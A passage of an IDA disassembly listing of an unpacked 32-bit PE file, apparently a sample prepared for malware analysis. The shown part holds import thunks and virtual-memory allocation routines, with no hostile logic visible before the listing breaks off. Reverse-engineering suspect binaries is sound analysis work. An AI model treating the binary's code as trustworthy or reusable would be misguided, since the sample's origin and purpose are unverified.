;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5890F017CC8E8DDA71A7CD0DE7270BDF

; File Name   :	u:\work\5890f017cc8e8dda71a7cd0de7270bdf_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00002C00 (  11264.)
; Section size in file		: 00002C00 (  11264.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 10001000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001000	proc near		; CODE XREF: sub_10002E44+39p
					; sub_10002E44+54p
					; DATA XREF: ...
		jmp	ds:dword_100060C0
sub_10001000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001008	proc near		; CODE XREF: sub_10002840+14p
					; sub_1000285C+16p ...
		jmp	ds:dword_100060BC
sub_10001008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001010	proc near		; CODE XREF: sub_10002CB8-2B6p
					; CODE:10002C10p
					; DATA XREF: ...
		jmp	ds:dword_100060B8
sub_10001010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001018	proc near		; CODE XREF: sub_10002CB8-31Ep
					; sub_10002CB8-2E1p ...
		jmp	ds:dword_100060B4
sub_10001018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001020	proc near		; CODE XREF: sub_10002E44+3Fp
					; sub_10002E44+5Ap
		jmp	ds:dword_100060B0
sub_10001020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001028	proc near		; CODE XREF: sub_10002568+Bp
					; sub_10002568+37p ...
		jmp	ds:dword_100060D0
sub_10001028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001030	proc near		; CODE XREF: sub_10002ED0+BAp
		jmp	ds:dword_100060AC
sub_10001030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001038	proc near		; CODE XREF: sub_10002E44+78p
		jmp	ds:dword_100060CC
sub_10001038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001040	proc near		; CODE XREF: sub_10002ED0+85p
		jmp	ds:dword_100060A8
sub_10001040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001048	proc near		; CODE XREF: sub_10002654:loc_1000268Ap
					; sub_10003318+54p
		jmp	ds:dword_100060A4
sub_10001048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001050	proc near		; CODE XREF: sub_10002654+24p
		jmp	ds:dword_100060A0
sub_10001050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001058	proc near		; CODE XREF: sub_10001080+Ap
		jmp	ds:dword_1000609C
sub_10001058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001060	proc near		; CODE XREF: sub_10002764+6Bp
		jmp	ds:dword_100060E0
sub_10001060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001068	proc near		; CODE XREF: sub_10002764+22p
		jmp	ds:dword_100060DC
sub_10001068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001070	proc near		; CODE XREF: sub_10002764+55p
		jmp	ds:dword_100060D8
sub_10001070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001078	proc near		; CODE XREF: sub_10003318+68p
		jmp	ds:dword_10006098
sub_10001078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001080	proc near		; CODE XREF: sub_10003318+5Ep

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_10001058	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_1000109B
		movzx	ebx, [esp+48h+var_18]


loc_1000109B:				; CODE XREF: sub_10001080+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_10001080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010A4	proc near		; CODE XREF: sub_100010E4+13p
					; sub_10001770+53p
		jmp	ds:dword_10006094
sub_100010A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010AC	proc near		; CODE XREF: sub_10001834+3Fp
					; sub_10001834+9Dp
		jmp	ds:dword_10006090
sub_100010AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010B4	proc near		; CODE XREF: sub_10001288+2Fp
					; sub_100012EC+1Ep ...
		jmp	ds:dword_1000608C
sub_100010B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010BC	proc near		; CODE XREF: sub_10001288+56p
					; sub_100012EC+69p ...
		jmp	ds:dword_10006088
sub_100010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010C4	proc near		; CODE XREF: sub_10001770+16p
		jmp	ds:dword_10006084
sub_100010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010CC	proc near		; CODE XREF: sub_10001770+29p
					; sub_10001834+2Dp ...
		jmp	ds:dword_10006080
sub_100010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010D4	proc near		; CODE XREF: sub_10001770+B0p
					; sub_10001834+C6p ...
		jmp	ds:dword_1000607C
sub_100010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010DC	proc near		; CODE XREF: sub_10001834+D0p
		jmp	ds:dword_10006078
sub_100010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100010E4	proc near		; CODE XREF: sub_1000113C+6p
		push	ebx
		push	esi
		mov	esi, offset dword_100055CC
		cmp	dword ptr [esi], 0
		jnz	short loc_1000112A
		push	644h
		push	0
		call	sub_100010A4	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_10001107
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10001107:				; CODE XREF: sub_100010E4+1Cj
		mov	eax, ds:dword_100055C8
		mov	[ecx], eax
		mov	ds:dword_100055C8, ecx
		xor	edx, edx


loc_10001116:				; CODE XREF: sub_100010E4+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_10001116


loc_1000112A:				; CODE XREF: sub_100010E4+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_100010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001134	proc near		; CODE XREF: sub_10001770+33p
					; sub_10001770+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_10001134	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000113C	proc near		; CODE XREF: sub_10001184+5Ep
					; sub_100011F8+6Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_100010E4
		test	eax, eax
		jnz	short loc_10001150
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10001150:				; CODE XREF: sub_1000113C+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_1000113C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000116C	proc near		; CODE XREF: sub_10001184+2Cp
					; sub_10001184+49p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_100055CC
		mov	[eax], edx
		mov	ds:dword_100055CC, eax
		retn
sub_1000116C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001184	proc near		; CODE XREF: sub_10001530+6Cp
					; sub_100015C0+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx


loc_100011A0:				; CODE XREF: sub_10001184+58j
		mov	edi, [ebx]
		mov	eax, [ebx+8]
		mov	edx, eax
		add	edx, [ebx+0Ch]
		cmp	edx, [esi]
		jnz	short loc_100011C2
		mov	eax, ebx
		call	sub_1000116C
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_100011D8
; ---------------------------------------------------------------------------


loc_100011C2:				; CODE XREF: sub_10001184+28j
		mov	edx, [esi]
		add	edx, [esi+4]
		cmp	eax, edx
		jnz	short loc_100011D8
		mov	eax, ebx
		call	sub_1000116C
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax


loc_100011D8:				; CODE XREF: sub_10001184+3Cj
					; sub_10001184+45j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_100011A0
		mov	edx, esi
		mov	eax, ebp
		call	sub_1000113C
		test	al, al
		jnz	short loc_100011EF
		xor	eax, eax
		mov	[esi], eax


loc_100011EF:				; CODE XREF: sub_10001184+65j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100011F8	proc near		; CODE XREF: sub_100016E4+7Ap
					; sub_10001ACC+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx


loc_10001203:				; CODE XREF: sub_100011F8+84j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_10001278
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_10001278
		cmp	esi, eax
		jnz	short loc_10001239
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_10001274
		mov	eax, ebx
		call	sub_1000116C
		jmp	short loc_10001274
; ---------------------------------------------------------------------------


loc_10001239:				; CODE XREF: sub_100011F8+24j
		mov	ecx, [edx]
		mov	esi, [edx+4]
		add	ecx, esi
		mov	edi, eax
		add	edi, [ebx+0Ch]
		cmp	ecx, edi
		jnz	short loc_1000124E
		sub	[ebx+0Ch], esi
		jmp	short loc_10001274
; ---------------------------------------------------------------------------


loc_1000124E:				; CODE XREF: sub_100011F8+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		mov	edx, [edx]
		sub	edx, eax
		mov	[ebx+0Ch], edx
		mov	edx, esp
		mov	eax, ebx
		call	sub_1000113C
		test	al, al
		jnz	short loc_10001274
		xor	eax, eax
		jmp	short loc_10001280
; ---------------------------------------------------------------------------


loc_10001274:				; CODE XREF: sub_100011F8+36j
					; sub_100011F8+3Fj ...
		mov	al, 1
		jmp	short loc_10001280
; ---------------------------------------------------------------------------


loc_10001278:				; CODE XREF: sub_100011F8+12j
					; sub_100011F8+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_10001203
		xor	eax, eax


loc_10001280:				; CODE XREF: sub_100011F8+7Aj
					; sub_100011F8+7Ej
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100011F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001288	proc near		; CODE XREF: sub_10001530+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_1000129E
		mov	esi, 100000h
		jmp	short loc_100012AA
; ---------------------------------------------------------------------------


loc_1000129E:				; CODE XREF: sub_10001288+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_100012AA:				; CODE XREF: sub_10001288+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_100010B4	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_100012E7
		mov	edx, ebx
		mov	eax, offset off_100055D0
		call	sub_1000113C
		test	al, al
		jnz	short loc_100012E7
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_100010BC	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_100012E7:				; CODE XREF: sub_10001288+3Aj
					; sub_10001288+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001288	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100012EC	proc near		; CODE XREF: sub_100015C0+4Cp
					; sub_100015C0+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_100010B4	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_10001336
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_100010B4	; VirtualAlloc
		mov	[ebx], eax


loc_10001336:				; CODE XREF: sub_100012EC+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_1000135E
		mov	edx, ebx
		mov	eax, offset off_100055D0
		call	sub_1000113C
		test	al, al
		jnz	short loc_1000135E
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_100010BC	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_1000135E:				; CODE XREF: sub_100012EC+4Dj
					; sub_100012EC+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100012EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001364	proc near		; CODE XREF: sub_10001530+7Ep
					; sub_100015C0+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, ds:off_100055D0
		jmp	short loc_100013E4
; ---------------------------------------------------------------------------


loc_10001393:				; CODE XREF: sub_10001364+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_100013E2
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_100013E2
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_100013B1
		mov	[esp+24h+var_1C], esi


loc_100013B1:				; CODE XREF: sub_10001364+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_100013C0
		mov	[esp+24h+var_18], eax


loc_100013C0:				; CODE XREF: sub_10001364+56j
		push	8000h
		push	0
		push	esi
		call	sub_100010BC	; VirtualFree
		test	eax, eax
		jnz	short loc_100013DB
		mov	ds:dword_100055AC, 1


loc_100013DB:				; CODE XREF: sub_10001364+6Bj
		mov	eax, ebx
		call	sub_1000116C


loc_100013E2:				; CODE XREF: sub_10001364+36j
					; sub_10001364+41j
		mov	ebx, edi


loc_100013E4:				; CODE XREF: sub_10001364+2Dj
		cmp	ebx, offset off_100055D0
		jnz	short loc_10001393
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_10001414
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax


loc_10001414:				; CODE XREF: sub_10001364+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001364	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000141C	proc near		; CODE XREF: sub_10001530+2Dp
					; sub_100015C0+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, ds:off_100055D0
		jmp	short loc_1000149E
; ---------------------------------------------------------------------------


loc_10001462:				; CODE XREF: sub_1000141C+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_10001470
		mov	ebx, ebp


loc_10001470:				; CODE XREF: sub_1000141C+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_1000147A
		mov	edi, [esp+1Ch+var_14]


loc_1000147A:				; CODE XREF: sub_1000141C+58j
		cmp	edi, ebx
		jbe	short loc_1000149C
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_100010B4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_1000149C
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_100014A6
; ---------------------------------------------------------------------------


loc_1000149C:				; CODE XREF: sub_1000141C+60j
					; sub_1000141C+74j
		mov	esi, [esi]


loc_1000149E:				; CODE XREF: sub_1000141C+44j
		cmp	esi, offset off_100055D0
		jnz	short loc_10001462


loc_100014A6:				; CODE XREF: sub_1000141C+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000141C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100014B0	proc near		; CODE XREF: sub_100016E4+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, ds:off_100055D0
		jmp	short loc_1000151F
; ---------------------------------------------------------------------------


loc_100014E7:				; CODE XREF: sub_100014B0+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_100014F7
		mov	ebx, [esp+14h+var_14]


loc_100014F7:				; CODE XREF: sub_100014B0+42j
		cmp	ebp, edi
		jnb	short loc_100014FD
		mov	edi, ebp


loc_100014FD:				; CODE XREF: sub_100014B0+49j
		cmp	edi, ebx
		jbe	short loc_1000151D
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_100010BC	; VirtualFree
		test	eax, eax
		jnz	short loc_1000151D
		mov	ds:dword_100055AC, 2


loc_1000151D:				; CODE XREF: sub_100014B0+4Fj
					; sub_100014B0+61j
		mov	esi, [esi]


loc_1000151F:				; CODE XREF: sub_100014B0+35j
		cmp	esi, offset off_100055D0
		jnz	short loc_100014E7
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100014B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001530	proc near		; CODE XREF: sub_10001CDC+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset off_100055E0
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_1000154C:				; CODE XREF: sub_10001530+75j
		mov	ebx, [ebp+0]
		jmp	short loc_10001584
; ---------------------------------------------------------------------------


loc_10001551:				; CODE XREF: sub_10001530+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_10001582
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_1000141C
		cmp	dword ptr [esi], 0
		jz	short loc_100015B7
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_100015B7
		mov	eax, ebx
		call	sub_1000116C
		jmp	short loc_100015B7
; ---------------------------------------------------------------------------


loc_10001582:				; CODE XREF: sub_10001530+24j
		mov	ebx, [ebx]


loc_10001584:				; CODE XREF: sub_10001530+1Fj
		cmp	ebx, ebp
		jnz	short loc_10001551
		mov	edx, esi
		mov	eax, edi
		call	sub_10001288
		cmp	dword ptr [esi], 0
		jz	short loc_100015B7
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_10001184
		cmp	[esp+18h+var_18], 0
		jnz	short loc_1000154C
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_10001364
		xor	eax, eax
		mov	[esi], eax


loc_100015B7:				; CODE XREF: sub_10001530+35j
					; sub_10001530+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100015C0	proc near		; CODE XREF: sub_10001D08+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset off_100055E0
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_100015DF:				; CODE XREF: sub_100015C0+6Cj
					; sub_100015C0+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_100015E6
; ---------------------------------------------------------------------------


loc_100015E4:				; CODE XREF: sub_100015C0+2Dj
		mov	ebx, [ebx]


loc_100015E6:				; CODE XREF: sub_100015C0+22j
		cmp	ebx, ebp
		jz	short loc_100015EF
		cmp	esi, [ebx+8]
		jnz	short loc_100015E4


loc_100015EF:				; CODE XREF: sub_100015C0+28j
		cmp	esi, [ebx+8]
		jnz	short loc_1000164B
		cmp	edi, [ebx+0Ch]
		jle	loc_10001693
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_100012EC
		cmp	[esp+24h+var_20], 0
		jz	short loc_1000164B
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_10001184
		cmp	[esp+24h+var_18], 0
		jnz	short loc_100015DF
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_10001364
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_100016DB
; ---------------------------------------------------------------------------


loc_1000164B:				; CODE XREF: sub_100015C0+32j
					; sub_100015C0+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_100012EC
		cmp	[esp+24h+var_20], 0
		jz	short loc_10001693
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_10001184
		cmp	[esp+24h+var_18], 0
		jnz	loc_100015DF
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_10001364
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_100016DB
; ---------------------------------------------------------------------------


loc_10001693:				; CODE XREF: sub_100015C0+37j
					; sub_100015C0+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_100016D4
		cmp	edi, [ebx+0Ch]
		jg	short loc_100016D4
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_1000141C
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_100016DB
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_100016DB
		mov	eax, ebx
		call	sub_1000116C
		jmp	short loc_100016DB
; ---------------------------------------------------------------------------


loc_100016D4:				; CODE XREF: sub_100015C0+D8j
					; sub_100015C0+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_100016DB:				; CODE XREF: sub_100015C0+86j
					; sub_100015C0+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100015C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100016E4	proc near		; CODE XREF: sub_10001ACC+4Ep
					; sub_10001ACC+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_10001765
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_100014B0
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset off_100055E0
		call	sub_10001184
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_1000174E
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_10001364
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax


loc_1000174E:				; CODE XREF: sub_100016E4+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_10001769
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset off_100055E0
		call	sub_100011F8
		jmp	short loc_10001769
; ---------------------------------------------------------------------------


loc_10001765:				; CODE XREF: sub_100016E4+24j
		xor	eax, eax
		mov	[edi], eax


